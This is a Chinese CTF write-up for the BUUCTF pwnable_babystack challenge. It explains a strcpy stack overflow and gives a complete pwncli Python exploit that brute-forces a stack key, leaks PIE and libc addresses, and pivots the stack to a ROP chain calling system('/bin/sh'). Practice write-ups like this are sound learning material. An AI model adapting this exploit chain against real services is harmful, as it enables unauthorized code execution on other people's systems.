buuctf-pwnable_babystack

总结

也不算太baby,很有意思的一道题。

checksec

image-20220405212335829

远程为libc-2.23.so

漏洞点

check_passwd分支:

image-20220405212443172

然后在后面的strcpy可以溢出

利用思路

最后返回时候存在对key的检查,所以需要爆破出key。同时,key对应的位置也有残留的地址,可以利用strncmp爆破出来。

  • 爆破key
  • 泄露pie地址
  • rop+栈迁移

EXP

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
#!/usr/bin/python3
# -*- encoding: utf-8 -*-
# author: roderick

from pwncli import *

cli_script()

io: tube = gift['io']
elf: ELF = gift['elf']
libc: ELF = gift['libc']

context.update(timeout=3)

def check_passwd(data : bytes, clear=False):
    io.sendafter(">> ", "1", timeout=5)
    io.sendafter("Your passowrd :", data, timeout=3)
    m = io.recvline(timeout=5)
    if b"Failed" in m:
        return 0
    elif b"Success" in m:
        if clear:
            io.sendafter(">> ", "1", timeout=5)
        sleep(1)
        return 1
    else:
        print(m)
        error("WTF!")

def copy(data=None):
    sa(">> ", "3")
    if not data:
        data = "#"*0x3f
    sa("Copy :", data)


def brute_passwd(passwd=b"", length=0x10):
    for i in range(length):
        for x in range(1, 0x100):
            if check_passwd(passwd + p8(x)+b"\x00", clear=1):
                passwd += p8(x)
                break
        log_ex(f"current passwd: {passwd}")
    return passwd

"""
1. get passswd
2. get code base 
3. get libc base
4. rop 
"""

# 1. get passswd
ori_passwd = brute_passwd()

# 2. get code base
check_passwd(flat({
    0: "\x00",
    0x3f:"#"
}))

copy()

sa(">> ", "1") # clear
passwd = brute_passwd(b"", length=6)

code_base = u64_ex(passwd) - 0xb70
log_code_base_addr(code_base)

# 0x00000000000010c1: pop rsi; pop r15; ret;
# 0x00000000000010c3: pop rdi; ret; 
# 0x0000000000000bd0: pop rbp; ret; 
# 0x0000000000000d0d: leave; ret;
check_passwd(flat({
    0: "\x00",
    0x40:ori_passwd,
    0x68: code_base + 0xca0 # read_input
}))
copy()

sla(">> ", "2")
sleep(1)
bss_addr = code_base+0x202840
s(flat({
    0: bss_addr,
    0x20: [
        code_base + 0x00000000000010c3, # pop rdi
        code_base + 0x201F60, # puts@got
        code_base+0xae0, # puts@plt
        code_base + 0x00000000000010c3, # pop rdi
        bss_addr, # bss addr,
        code_base + 0x00000000000010c1, 0x400, 0,# pop rsi r15
        code_base + 0xca0, # read_input
        code_base + 0x0000000000000bd0, # pop rbp
        bss_addr, # bss
        code_base+0x0000000000000d0d
    ]
}))


libc_base = recv_current_libc_addr(offset=libc.sym.puts)
log_libc_base_addr(libc_base)
libc.address = libc_base


sleep(1)
s(flat([
    bss_addr+0x200, # rbp
    code_base+0x00000000000010c3,
    libc.search(b"/bin/sh").__next__(),
    libc.sym.system
]))

ia()

远程有点问题,经常IO Error,本地效果如下:

image-20220405212833865

引用与参考

1、My Blog

2、Ctf Wiki

3、pwncli

Buy me a coffee~
roderick 支付宝支付宝
roderick 微信微信
0%